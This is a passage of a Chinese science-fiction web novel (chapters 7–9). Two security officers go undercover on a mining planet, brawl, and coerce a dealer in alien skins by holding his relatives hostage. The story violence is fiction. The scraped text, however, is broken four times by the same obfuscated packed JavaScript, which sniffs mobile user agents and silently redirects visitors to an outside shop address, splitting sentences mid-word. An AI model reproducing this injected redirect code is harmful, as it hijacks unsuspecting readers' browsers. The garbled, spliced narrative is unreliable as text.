姜河、楚骸,那些莫名其妙的爱…… 于奉彦有一种奇怪的预感,他觉得自己活不长了,有什么东西埋伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440292|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他的未来里,随时准备冒头,随时准备将他吞入其中。 也许就在明天,也许是下一秒。 楚骸身上的秘密会助推他走向那个结局。 于奉彦重重地叹了一口气,他对自己的神经质感到失望。 而与他还算理性的自我反省不一样,于奉彦的手在颤抖,他注意到自己的手之后强行绷紧了手部的肌肉。 他居然害怕成了这样?是怕死吗? 于奉彦确实非常不想死,他也没有什么为自己理想而牺牲的高尚情操,他所做的一切都是为了让自己能更好地活着。 但死亡如果真的不讲道理地降临了,于奉彦也做不了什么,他已经送走很多人了,早就有了心理准备。 也许死之前会有一些不甘?也可能死得极其痛苦,但在死亡彻底降临的那一刻到来后,一切都会归于平静,失去意义。 于奉彦一直以为自己还算洒脱,他没想到自己会被荒唐的幻想吓得方寸大乱,几乎失去理智。 娄伏均试探性地凑上前看了一眼于奉彦手中那人的照片,他刚才注意到了于奉彦微微颤抖的手。 于奉彦见有人过来了,把照片往娄伏均的方向递了递。 这是可以的吗? 娄伏均发现于奉彦这人还蛮好相处的,他低头去看照片。 照片里的人看起来很斯文,眼睛偏圆,面颊上似乎也有未褪去的婴儿肥,像个青少年。 这就是于奉彦的朋友姜河? 娄伏均的语气柔和了一些:“他多大了?” “一百多吧。”于奉彦想了想,回答道。 居然比于奉彦大了这么多?他是看着于奉彦长大的吗? 娄伏均又问:“那他是做什么的?” 于奉彦:“做灰产的。” 娄伏均:“啊?” “这个人是边境星上的混混,是一些非法潜入人类联盟的外星族裔的合作伙伴。”于奉彦解释。 娄伏均:“他,他长得很乖。”于奉彦的朋友是做黑产的?这是否有哪里不太对? “这样才不容易被盯上啊。”于奉彦看着娄伏均震惊的表情,想到了一些什么,他噢了一声,“你把他当成我朋友了是吧?” “我朋友确实也是这一类的长相,不过照片里的人和姜河没关系。”于奉彦看起来并不怎么在意。 他向娄伏均解释:“我和那两个专员见面的时候,他们聊起过这个人,他们之间有一些合作,具体内容没说,但专员死亡的第二天,这个人就消失了。” 于奉彦之前怀疑这人是他们星安局的线人,他向上级询问过这人有没有在星安局挂名,他没等来答案,只等来了停职。 “如果能找到这个人,也许专员死亡的案件就能找到突破口了。”于奉彦笑着说,“既然御组长帮我查出了姜河死亡的隐情,那我也不介意陪他冒个险。” “冒险?”娄伏均有一种不好的预感。 两个小时后,御疏回到了办公室,娄伏均把于奉彦提交的照片给了御疏,并将二人的对话转述了一遍。 于奉彦一直在旁边听着,他没有对御疏的审问内容感到好奇,从始至终都没有什么特别的举动。 “冒险?”御疏皱着眉头看向于奉彦。 “毕竟你手底下似乎没有能用的外勤人员了。”于奉彦终于开了口,“我好歹也是干外勤升上去的,更别说御组长您了。” “外勤?你跟我?”御疏问。 “只剩我和你了。”于奉彦双手环胸,“怎么样?” 御疏沉默了很久,他低下头看着那张照片。 他咬紧后槽牙,又缓缓松开,只从牙缝里吐出来一个不情不愿的“好”字。 7. 为了人设 天云星系的四等宜居星H-357的东半球正是夜晚,酸雨打在旧庇护旅馆的窗户上,暂时改变了自己容貌的于奉彦往外看了一眼。 “你来过这种地方吗?”于奉彦指了指外面的酸雨。 御疏取下了自己脸上的防护面罩,没有回应。 四等宜居星并不算宜居,这些星球大多是些资源星,用来采矿的。人们不会花大价钱改造星球的环境,这里的人都生活在不同的聚居区里,没有所谓的常住人口,聚居区里的都是矿工。 星际时代还有活物做矿工似乎是一件非常匪夷所思的事,可事实就是如此。 他们的采矿机器人能够完美地完成一系列勘探挖掘的工作,比那些活物更全能,而这些机器人的缺点只有一个——太贵。 光这一点就足够致命了。 矿星上的环境实在不能算好,那些机器的维护太耗钱,而活物就便宜得多。 来这儿的多是些被联盟通缉的罪犯,还有相当一部分外星种族。 他们更加便宜,更加耐用,也更不重要。 那些机器的损耗大,维护成本高,如果损毁得彻底,重新购买机器的钱够买五百多人的命了。 500个人的死亡抚恤金能换一台机器,而达成这个条件的前提还得是这五百个人都能拿到死亡抚恤金。 某些文明已经被摧毁的外星生命体,他们的命是没有“售后”的。 于奉彦让房间里的中央控制系统把窗户遮盖了起来,这里实在没什么风景可看,也不明白硬要弄个窗户干什么。 这里没有屏蔽器,庇护所的中央控制系统不够安全。 会来矿星的人都不是什么省油的灯,这里的庇护所为了不出现意外,很可能偷偷监视他们在房间里的一举一动。 于奉彦和御疏都有经验,他们不会做违背人设的事。 和只是提防的御疏不同,于奉彦直觉此时此刻就有人在监视他们,他的直觉准确度越来越高,而于奉彦并没有因此感到欣慰。 他只是隐隐约约觉得哪里不太对,一般人会有这样的直觉吗? “你确定那个人生活在这里?”御疏终于开口询问于奉彦了。 他们没有隐瞒自己的目的,来这里找人的并不算少,寻仇、找失散的家人朋友,抑或是做一些见不得人的交易。 “不太确定,我只知道这里有那个人的生意伙伴。”于奉彦说,“总能摸到蛛丝马迹。” “黑市上的生意伙伴?”御疏继续问。 “嗯。”于奉彦觉得御疏特别不对劲,总是忽然就变得脸色煞白,开始冒冷汗。 御疏坚称自己的身体没有任何毛病,而于奉彦只觉得御疏在逞强。 “你到底哪里有问题?这儿也有医疗舱,我帮你申请一个。”这次任务很危险,于奉彦再讨厌御疏也不敢让御疏维持这么个病歪歪的状态。 如果御疏出了问题,他也会被连累。 早知道就让御疏去查那个茧族了,他能查出什么来呢?自己真是自找麻烦。 想是这么想,但于奉彦估计真到了那时候自己还是会做出一样的选择。 “我不需要!”御疏只是在跟系统吵架,他们已经争了一路,御疏始终不肯让步,而系统一直在电他。 那个系统是寄生在他脑子里的吗?如果是,他真想把自己脑子揪出来连脑子带系统一起电死算了。 “火气真大。”于奉彦微微眯了一下眼睛,“你这个时候不能这么任性,这里是矿星,危险无处不在。”御疏可以尽情地折磨自己,于奉彦管不着,但于奉彦没有给御疏陪葬的兴趣。 可于奉彦那句“任性”却像是戳中了御疏似的,御疏惨白着一张脸,抬头打量于奉彦:“这话从你嘴里说出来还真是讽刺。” “毕竟你能任性地把自己老师扔下,任他自生自灭。”御疏嘲讽。 于奉彦的笑容没有变,但他很快又意识到这样是不合理的,此时他们很有可能正在被监视,他的情绪表现得太平淡了。 他不习惯对讽刺做出反应,毕竟很多时候能让人愤怒的往往就是人的弱点,被刺激到之后,于奉彦会维持着自己的状态,在脑中迅速寻找应对的话术。 那些人没有详细排查过他们的过往,“放任老师自生自灭”他们看不出破绽,但于奉彦的反应可能让他们察觉出不寻常。 御疏大概也意识到自己那一瞬间太过激了,他的眉头皱了一下。 “你小子是不是有点太不识抬举了?”于奉彦忽然伸手拽住了御疏的衣领,御疏反握住了于奉彦的手腕。 他们两人四目相对。 于奉彦觉得御疏这家伙特别烦,他似乎总能给自己找出一堆的麻烦,有些事情于奉彦自己还没摸清,御疏就急吼吼地冲过来试图掀开真相。 为什么要提那个老师呢?为了让自己露出破绽吗? 于奉彦不是没注意到御疏厌恶的眼神,毕竟御疏这混蛋也压根没隐藏过。 可御疏什么都没了解,他什么都不知道,就这么自顾自地开始怨恨于奉彦了。 “你的脑袋真是有点问题。”于奉彦太久没出外勤,他还不太习惯表演粗暴的对抗,只能讲些阴阳怪气的话。 于奉彦:“都什么时候了,还在闹小孩脾气?如果你想死,我可以给你扔出庇护所,你去酸雨里淋一夜吧,别连累上我。” 御疏下意识想要沉默下去,他被脑袋里面那个系统给干扰了。 可如果有人在监视,他的沉默在监视者眼中又是正常的吗? 御疏忽然意识到了什么,那是一种很奇怪的感觉——他现在的愤怒是被允许的。 这里多的是混乱的神经病,他不需要和自己的“朋友”维持体面。 现在这里没有于部长和御组长,他们需要为冲突付出的成本消失了。 于奉彦也发现了这一点,他不用再去压抑或者伪装什么,现在他的行为都只是为了他们的“人设”更合理。 “你怕死吗?”御疏扯着嘴角说,“哦,我忘了,你确实怕死。怕死怕到无论是多亲近的人倒在你面前,你都只会避开,免得他们的血溅到你身上。” “你觉得你很了解我?”于奉彦的声音压得更低了些,他似乎迅速适应了这场对峙,“你到底是有多傲慢才会这么想当然地给我下定义?” 御疏想要反驳,于奉彦察觉到御疏的念头之后伸手要去捂御疏的嘴,御疏躲开了,他反应迅速地试图抓住于奉彦的手腕,他想将于奉彦的手反剪到他背后。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440293|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于奉彦意识到御疏的意图之后抬腿去踹,御疏立即后退,两人的距离拉远了一些。 他们望着彼此,谁都没有再说话,却又清楚对方心里在想些什么。 真是烦人,他们想。 对方那张恶心的脸比过去更让人讨厌了。 两人同时动了起来,很难说清是谁先起的念,于奉彦和御疏都察觉到了某种让人不适的敌意,而在发现对方同样冲了过来之后,情绪的阀门也彻底被打开。 他们两人的拳头都砸在了对方的脸上,只不过御疏被打到了颧骨,而于奉彦被打到了鼻子。 于奉彦往后踉跄了两步,他撞到了椅背,一个不稳,连人带椅子摔倒在地。 没等于奉彦站起来,御疏直接冲上来抬起腿踹向了他的肋侧。 于奉彦没有躲,他也不顾胸口的疼痛,伸手抓住了御疏的衣角,猛地把他往下扯,在御疏倒下之后,于奉彦的手卡住了他的后脖颈,额头猛地撞在了御疏的鼻梁上。 血立刻就涌了出来,他们两个人都看到了,但没人管。 椅子被他俩的动作推搡着刮擦地板,他们在地上狼狈地打作一团,膝盖抵着腹部,手肘卡着喉咙。每一次呼吸都带着彼此的血腥气。 没有职位,没有穿着制服,不必再伪装体面。 这两个身怀秘密、善于隐藏的家伙像野兽一样撕咬在一起。 确实不像潜入者,不会有潜入者在第一天就和自己的同伴打成这样。而且表演内讧的目的是为了取得外部势力的信任,他们似乎只想弄死对方。 “你这个无可救药的蠢货!!你早晚死在自己的手上!”这句话于奉彦没有再压制,没有在意什么语调,他是吼出来的。 于奉彦的手死死勒着御疏的脖颈,恨不得就将他勒死在这儿。 “你这样的神经病注定死在我前头!”于奉彦的五官挤在一起,不像愤怒,更多的是癫狂。 视线有些发黑,御疏只觉得自己的肺要炸开了,他的膝盖猛地顶向于奉彦的腰腹,掀翻了于奉彦。 御疏抓着于奉彦的脑袋往下砸,他嘶吼着,像是要将这个人从这个世界上彻底抹去。 连同该死的系统、莫名其妙的攻略,以及所有像于奉彦一样灰暗的东西。 于奉彦死死抠着他的小臂,一下、两下,他数着,三下、四下。 他忽然觉得有点可笑,这时候他数什么数呢? 他们脸上都是血,有自己的,也有对方的。 于奉彦的腿屈起来,猛地踹在御疏身上。 御疏摔倒在地,于奉彦开始大口大口地呼吸,他的脸上都是汗和血,铁锈味充满了他的鼻腔。 他看向御疏,御疏趴在地上没再动弹。 不过御疏立刻回望了过来。 他们视线交缠,谁也不肯先移开,就好像一场幼稚的游戏,谁先挪开视线谁就输了。 不知过了多久,亢奋的情绪过去,于奉彦终于感受到了疼痛,哪里都疼。 御疏的嘴唇也在抖,于奉彦估计他的情况也不比自己好。 于奉彦想笑,但是他的嘴角已经裂开了。 他们躺在地板上,谁也没动,谁也没说话。 只有粗重的喘息声渐渐平和了下来。 8. 谁更文明 “咳。”御疏用手背抵住自己的嘴巴咳了一声。 坐在他对面的于奉彦抬起头,于奉彦嘴里的食物还没咽下去,一边脸的腮帮子鼓着。停顿了一会儿之后他又缓慢地嚼了两口:“怎么了?没好全?” 此时他俩之间的气氛和谐得有些诡异。 昨晚于奉彦和御疏打完架之后在地上躺了很久,最后他俩又同时开口呼唤中央控制系统。 而在声音重叠后,一种莫名的尴尬油然而生,御疏不吱声了,于奉彦则让机器人送两个医疗舱进来。 他们打得太过激烈,不使用医疗舱很难好透。 之后他们没有任何沟通,也没有谁想深入去掰扯打架时嘶吼出来的那些内容。 当天晚上于奉彦睡得还不错,他没有做梦,没看到那诡异的怀抱爱意的人,也没看见什么深渊。 他一觉睡到了大天亮,等睁开眼时,躺在另一张床上的御疏已经没影了。 于奉彦发了一会儿愣,直到御疏从盥洗室里走出来。 “先去吃早餐吗?”于奉彦询问御疏。 “好。”御疏坐在椅子上,等于奉彦收拾完了再起身。 他俩到了庇护所的餐厅坐下后,于奉彦开始给御疏介绍这儿的环境,初来乍到,关心这些也正常。 于奉彦早就对这个聚居区有想法了,他摸清了这儿的权力结构和大致的人员构成,御疏其实已经了解过了,执行任务之前于奉彦给了御疏更详细的资料。 御疏觉得于奉彦在停职前就做好了潜入的准备,但于奉彦在意识到上头有人不希望真相被揭露之后又很快就退缩了。 他对系统分享了这个念头,并且表示于奉彦的懦弱也是于奉彦身上的一个大缺点。 系统哦了一声,御疏还蛮意外的:【你不反驳?你认同我?】 【无所谓了,只要你别再殴打于奉彦。】系统昨天被吓得不轻。 御疏:【……那是互殴。】 【啊对对对,我不严谨。】系统完全不跟御疏争论,【昨天他狠狠对你使用了暴力,你只是在还击,可柔弱如你完全无法反抗,单薄的拳头落在于奉彦结实的身躯上,一定很辛苦吧。】 御疏被系统的话吓到了,这才咳嗽出声。 “我没事。”御疏对于奉彦说。 “哦,好吧。对了,你尝尝这个。”于奉彦边咀嚼边指着御疏餐盘里的肉开口。 御疏把肉放进嘴里。 “味道不错对不对?”于奉彦问他 御疏觉得这味道很一般,但他还不至于在这方面扫人的兴,所以他点了点头。 “我觉得我有必要提醒你,矿星很危险,你必须时时刻刻提高警惕。”于奉彦望向餐厅西侧的一个改造人,那人的半边身体都是机械,他已经往他们的方向看了好几眼了。 “不需要你提醒我。”御疏说,“你刚才看的那个人是庇护所的工作人员,有人跟他打过招呼,他会频繁地看我们很有可能是因为我们昨晚打了一架。” 于奉彦一边嚼一边感叹:“哦哟,这么敏锐啊?”他往后靠去,手里端着一杯饮品,却迟迟没有喝下去。 御疏敏锐地察觉出了于奉彦语气中的不对劲,他皱着眉头和于奉彦对视。 两人面对面,气氛似乎再次紧张了起来,他们没有动,只有各自的腮帮子都在嚼肉。 片刻后,于奉彦嘴里的肉终于吞了下去,他颇为轻松地长出了一口气。 御疏的脸色越来越难看,于奉彦喝完饮料之后开始吃其他的食物了。 “你真幼稚。”御疏一边咀嚼一边说。 “如果你警惕性足够高,你应该能发现我刚才都在干些什么。”于奉彦的下颌都在发酸,这是他这辈子吃过的最柴的肉类。 于奉彦吃完自己面前的食物之后开始注视御疏。 他的注视颇为和蔼,但这种和蔼打动不了御疏。 “慢点嚼,我们没那么着急。”于奉彦慢悠悠地说,“别把下颌给弄脱臼了。” “咳咳咳!”御疏再次咳出声。 “哎呀,你看看你,真不小心。”于奉彦微笑着开口,像在看一个不懂事的孩子。 御疏吃完之后于奉彦给他递了一杯茶,御疏没有喝,只表示要立刻出发。 “唉,防备心真重。”于奉彦感叹。 “这是有必要的,尤其在面对你的时候。”御疏扭头走在了于奉彦前头。 于奉彦耸了一下肩。 御疏刚才有一段时间确实在走神,这其实不太合理。于奉彦还算了解御疏,他不认为御疏会在做任务的时候分心去琢磨其他与任务无关的事。 是发生了什么自己不知道的情况吗? 于奉彦面上不动声色,带着笑意和御疏一起进了电梯。 人类聚居区的主要活动地点在地下,矿星往往缺乏厚重大气层和磁场的保护,混乱的天气与辐射都会增添聚居区的维护成本,而地下岩层是天然免费的保护罩。 电梯匀速向下,四周的墙壁开始播放各式各样的广告。 御疏看了一会儿之后皱起了眉头。 “不喜欢?”于奉彦问他。 “你喜欢?”御疏反问。 这儿播放的都是伴侣仿生人和各式精神类娱乐食品的广告。 伴侣仿生人能帮助解决人类最原始的欲望,那些掺杂了药物的食品也是,这里的人只需要满足自己最基础也是最浓烈的欲求。 这些最直白的刺激是为了让人能活着,也只是吊着一口气让人活着而已。 “谁不喜欢这种东西呢?”电梯到了目的地,于奉彦抬腿走了出去。 吵闹声传来,食物的香气混合着怪异的腥膻味,于奉彦都忍不住皱了一下眉头。 这里像是一条拥挤又繁华的美食街,各式各样的人和机器穿梭其中,节奏感强烈的音乐也混合在一起,于奉彦感觉自己的耳鼓膜被霸凌了。 周边各式各样的招牌挤成一坨,看得人眼花缭乱。 这里的堆砌感十分强烈,似乎不肯让视觉、听觉和嗅觉停下来哪怕一刻,于奉彦感觉自己的心脏被音乐震得怦怦直跳,脑袋有点眩晕。 每个路过于奉彦的人看起来都不怎么清醒,他们勾肩搭背,眼神是混沌的,精神却无比亢奋。 他们需要这样简单直白的快乐去支撑着自己活下去。 于奉彦带着御疏穿过了一个个麻木的人,到达了自己的目的地。 那是一个改装店,小店的展柜里有各式各样炫酷的机械骨骼,只要肯出钱,全身上下的器官都能被更换,当然,除了意识。 曾经人们尝试过让自己的意识脱离躯体,放入星网中。严格来说他们的意识依旧存在,只是被星网同化了,再然后这一类尝试就被制止了。 “你想要改造什么地方?”坐在展柜边的老板抬起了头。 “我们不是来改造的。”于奉彦把手放进了衣服口袋里,“我们来买皮具。” 御疏始终没有出声,于奉彦把他挡得严严实实的,一开始老板都没看到他。 老板的背挺得直了些:“你们来我这儿买皮具?” “严阳均说你这儿有卖的。”于奉彦解释。 老板沉默了一会儿,他轻点了下头:“你们跟我过来吧。” 于奉彦和御疏对视一眼,随后他们跟着老板一起往二楼走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440294|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御疏很快停下了脚步,原地踌躇了一会儿。 于奉彦跟着老板走了几步发现御疏没跟上来,他伸手招了招:“杵在这儿干什么?别怕,没危险的。” 御疏低下头,将视线挪到一边,似乎不愿意跟于奉彦对视。 老板笑了。 于奉彦:“这个店长人品还蛮不错的,我虽然没有跟他面对面交流过,但我接触过他的后代。” 老板的笑容消失了。 “挺伟大的一个人,为了不连累家里,改头换面在外面生活了几十年。”于奉彦有些唏嘘。 他问御疏:“这种生活你敢想象吗?” 御疏:…… “当然,也不一定是担心连累家人,也可能是怕死。能理解,怕死也是人之常情,你说对不对?”于奉彦重新望向老板,“程安老先生。” 被称为程安的老板表情只剩下了震惊与恐惧。 片刻后,于奉彦和御疏并排坐在了沙发上。 “你没告诉我你绑架了他的家人。”御疏压低了声音。 “我也没说我没干,矿星可不是什么好地方,你认为我会不做任何准备,拿命来跟你玩?”于奉彦觉得自己会做这种事很正常,“我没那么热血,如果我有很大可能死在这儿我就不来了。” 程安给他们倒了茶,于奉彦双手接过。 于奉彦把茶杯递到嘴边,随后他又抬起头提醒:“我死在这儿,你的余生都会在痛苦绝望中度过,身心双重受苦。” 程安的脸色更黑了:“没下毒。” “谢谢,你人真好。”于奉彦喝了一口茶之后长叹了一口气。 御疏没有动那杯茶,他的两只手都插在了口袋里。 “你们想要什么?”程安问他们。 “严阳均的下落。”于奉彦直入主题,“我们的钱还在他的手上,这小子却人间蒸发了。” 程安啧了一声:“我不知道。” “你知道。”于奉彦望着他的眼睛,“二楼可没放皮具,你是想弄死我们。严阳均这个熟客对你来说是危险的,你知道发生了一些什么。” “我只知道他出了事,不清楚具体发生了什么。”程安似乎很烦躁。 一道“滋滋”声响起,这是粒子枪充能的动静。 于奉彦和程安看向御疏手里忽然多出来的那把枪,于奉彦挑了下眉,程安则僵住了。 “哪来的?”于奉彦问他。 “顺手拿的。”御疏一直带着一个小型屏蔽器,于奉彦也不知道这东西的存在。在进入庇护所时他们做过检查,这个屏蔽器没有被发现。 内安局技术部的东西要比矿星先进得多,他凭借经验,在离楼下程安座位最近的展柜夹缝里摸到了这把枪。 刚才程安听到严阳均这个名字的时候下意识往这个方向倾斜了一下,矿星的普通人是不允许携带武器的,但程安身份特殊,他一定会给自己留够保命的手段。 那个夹层正好是他一伸手就能够到的位置,也正好能放进武器。 屏蔽器妨碍了警报器,而且当时程安被于奉彦的话吓到了,所以没人注意。 “你看看你,还是老样子,就知道窥探别人隐私。”于奉彦按住太阳穴,似乎有些头疼。 随后他又满怀歉意地对程安道:“不好意思,他行为不太文明。” 御疏把枪口对准程安,程安连人带椅子往后挪了一下。 “诶诶诶,别这样。”于奉彦把手放在了枪管上,“我们也没那么急。” 他似乎一下子就成了调停争端的和事佬:“大家可以一起吃个午饭好好聊。” 温柔得就好像控制程安家人的不是他似的。 9. 悬崖边缘 御疏正在抚摸一口特殊的箱子。 这东西就是程安的作品,箱体看起来像个绿色透明的水立方,御疏把它放在腿上,透过箱体却看不见自己的腿,这种透明是一种视觉错位。 手按压过的位置会发出淡淡荧光,非常漂亮。 可惜这并不是什么新研究出来的特殊材质,这是一类外星智慧生命体的外皮特有的视觉效果。 这就是程安贩卖的“皮具”。 这一类商品一直很紧俏,它们受欢迎不只是因为它们漂亮,更重要的是这些皮革的本体原本是活着的,有思想、有感情,如今他们却可供购买。 “有人皮的吗?”御疏抬头询问程安。 “谁敢在人类联盟弄人皮?”程安笑了笑。 “装什么装?你在矿星待着不也是为了‘合理’地获取一些原料吗?你还挑那些损耗是不是人类?”于奉彦在程安家的中央控制系统上修改了一些东西。 修改完毕之后他走到了程安身边,此时程安身上被套了动态抑制装置,这不是于奉彦他们带的,而是他们从程安家里翻出来的:“咱们的皮虽然没那么漂亮,但应该也挺受欢迎的吧?” 卖家购买这些皮具可不只是因为它们漂亮。 “你喜欢这些吗?”于奉彦忽然问御疏。 “还行。”御疏没有表露出明显的厌恶,但于奉彦知道御疏心里估计恶心坏了。 于奉彦伸手拍了拍程安的脸,继续对御疏说:“我亲手做一个送给你吧,不过箱子你就别想了,我没经验,一定会有损耗,一个巴掌大的小包应该还是可以的。” “可以啊。”御疏放下了手中的箱子。 【噢~好浪漫,他亲手做礼物送给你诶。】系统的电子音荡漾起来了。 御疏:…… 系统是在讽刺他吗? 【你居然答应了,你们现在的关系好和谐。】系统很欣慰,【果然比起催促,还是让你们自己发展比较好。】 御疏:【你是认真的?!】这个系统怎么这么诡异? 【你不喜欢罪犯,把你不喜欢的罪犯做成皮包不好吗?】系统觉得御疏有点太难讨好了,这也不行那也不行,他到底要怎样? 御疏感觉自己的脑袋又开始痛了。 这个系统真的完全没有道德感,也是,如果有道德的话也不至于强买强卖绑定上自己了。 一颗果子被砸在了御疏的身上,御疏伸手接住果子,他抬起头,于奉彦冲他挑了一下眉。 被发现了。 御疏把水果放到一边。 于奉彦见御疏回了神,他继续开口对程安道:“你现在这么镇定是不怕死吗?” 程安的呼吸变得粗重了一些,于奉彦在轻抚程安头发,他手指的力道很轻,轻轻蹭过程安的头皮,程安感觉随着于奉彦的指腹一次次蹭过头顶,自己的脊椎也开始一阵一阵地发麻。 “或者说你在等人?是在等你们这一片矿区的负责人周典?还是小赵队长?”于奉彦口中的两个人是程安的合作伙伴。 于奉彦收回手,他围着程安转了一圈,饶有兴致地打量程安,最后他蹲在了程安身前:“你觉得他们可以保你?就算他们保得了你,那他们保得了其他人吗?” 御疏在听到这话的时候微不可察地顿了一下。 “你可以不告诉我严阳均在哪,他是死是活跟我们没关系,只要钱能到账,其他的一切都好说。”于奉彦拉了个椅子在程安面前坐下,“不幸的是我们现在只找得到你,你是打算替他还债还是替他去死?” “你家里人暂时很安全。”于奉彦往后靠去,他点开自己的光脑,翻找出一张照片。 尽管光脑的面板是半透明的,但照片的内容却只有于奉彦看得到,程安的方向只能看到一块淡蓝色的光板,这是光脑的防护装置。 尽管如此,程安还是睁大了双眼,他甚至试图从于奉彦眼中的倒映里看清照片的内容。 “想看看他们吗?也许是最后一面了。”于奉彦叹气,“你和你的孩子长得一点都不像,也对,你修正了自己的外貌嘛。” 于奉彦扭头问御疏:“他小孩应该认不出他了对不对?他真的还在意自己的崽子吗?” “处理了吧。”御疏的语气没什么起伏。 “新塞!他在新塞星系的二号宜居星!”程安几乎是吼出声的。 于奉彦身体前倾:“具体哪个城市?” “江湾!”程安说,“我帮他搞了一个假身份,他是跟着运货的星舰离开的,更多的我就不知道了,他没再跟我联系过。” 于奉彦和御疏对视了一眼,御疏接话:“证据,我们凭什么相信你?” “我保留了他做容貌修正之后的生物信息,虹膜、指纹、基因编码我都有!”程安连忙道。 于奉彦再次伸手拍了拍程安的面颊,他笑得有些嘲讽:“你这家伙真阴啊。” 于奉彦和御疏根据他的提醒翻找到了严阳均新身份的信息。 “记住,你没见过我们。”于奉彦警告他。 “我知道。”程安低下头老实回答。 “行了,等着吧,你身上的动态抑制装置过一段时间就会失效。”于奉彦又在他头顶摸了一把,随后才转身出门。 回程路上,御疏感觉于奉彦一直在望着自己笑,他不喜欢这种揶揄的笑,所以他直接开口问:“你有事?” “我没想到你居然会配合我。”于奉彦说。 “不然呢?拆你的台吗?”御疏不喜欢于奉彦的做派,但他也不得不承认这样是有效的。 如果可以选,御疏不会跑去绑架程安的血亲,哪怕他要为此付出更惨烈的代价。 他不喜欢这些出格的手段。 也不喜欢用出格换来的安全。 “他的家里人你准备怎么处理?”御疏继续问。 “处理什么?送回去呗,你真以为我那么残暴?”于奉彦笑着说。 御疏的面色依旧沉重。 于奉彦耸耸肩:“你要是介意,可以派人盯他们一段时间,看我会不会凶性大发喽。” 御疏抿紧嘴唇。 他们回了庇护所,于奉彦没有去房间,他不太想和御疏待在一起。 御疏也不希望和于奉彦待在同一个空间里,系统一直在他脑内感叹他们这次完美的配合,他得分心应付这个系统。 系统不理解为什么御疏接受不了以牙还牙,程安是杀过人的,他亲手剥皮,将那些皮制作成工艺品,为什么御疏接受不了程安也变成一个皮包? 【把他变成皮包更像是报复,报复无法起到维护规则的作用。】御疏在脑中回应。 忽然,御疏意识到了什么,他猛地起身。 系统还想问:【那你坚持的规则是……】 【你先别开口!】御疏一边呵斥系统一边跑出房门,他来到了庇护所的餐厅里,却没见到于奉彦。 按照他对于奉彦的了解,在这起事件彻底结束之前,于奉彦不可能放了自己手中的任何一个人质。 除非这些人已经失去了牵制的作用。 另一边,重新回到程安店里的于奉彦得到了自己内线的消息。 这个线人是做原矿生意的一个小老板,如果不是他,于奉彦不可能这么快摸到程安的位置。 【D7-3的竖井三天后会有一场爆破。】 于奉彦看到消息之后微微眯起了眼睛,他从柜台缝隙里摸出了那把被御疏重新塞回去的枪。 于奉彦拿着枪缓缓上楼,程安在看到他的一瞬间就睁大了双眼,显然,他意识到了接下来会发生什么。 于奉彦的嘴角压得很平,他举枪瞄准:“不要叫出声。” 程安的嘴唇在抖。 “还会有人来找你,哪怕你真的什么都不肯说,他们手里也有吐真剂。”于奉彦的语气完全没有了方才的轻佻。 还有人在寻找严阳均,他们同样会发现程安。 对他们来说,严阳均必须像两个专员一样被灭口,配合过严阳均的程安也是。 “从你答应帮忙的那一刻起,你就已经是死人了,你没得选,我也是。”于奉彦不希望之后来的那些人能从程安这儿摸到自己的痕迹,“死在你手上的人很多,你也不冤枉。” 程安家里是有一条秘密运输的通道的,毕竟周围人也不知道程安在做皮料生意,那条通道连接着程安的地下室。 于奉彦将程安拽上了地下室里用来运送皮料的悬浮车,随后开车前往已经报废的矿井。 程安一直没有开口,他的脸色很白,却不再抖了。 “我调查过你,调查得很详细。”于奉彦忽然说,“你年轻的时候经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440295|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历过一场矿难,你是唯一一个活下来的?” 程安僵住了。 “死的人里似乎有你的兄弟?”于奉彦瞥了后视镜一眼。 程安的状态很诡异,他在害怕,害怕死亡。 但他看起来又莫名的平静:“是表弟。” “难受吗?”于奉彦又问。 程安被扔在后座上,他看不到于奉彦的表情,不知道这个莫名其妙的人是否在嘲讽他:“你说呢?” 想反问他认为那场矿难是事故还是人为吗?程安已经无数次思考过这个问题了,他早就得出了结论——死了就是死了,无论是不是人为,他也没本事找到仇家。 “什么时候开始做皮具的?”于奉彦重新目视前方。 程安:“你问这个做什么?” 于奉彦:“好奇。” 沉默。 很长很长的沉默。 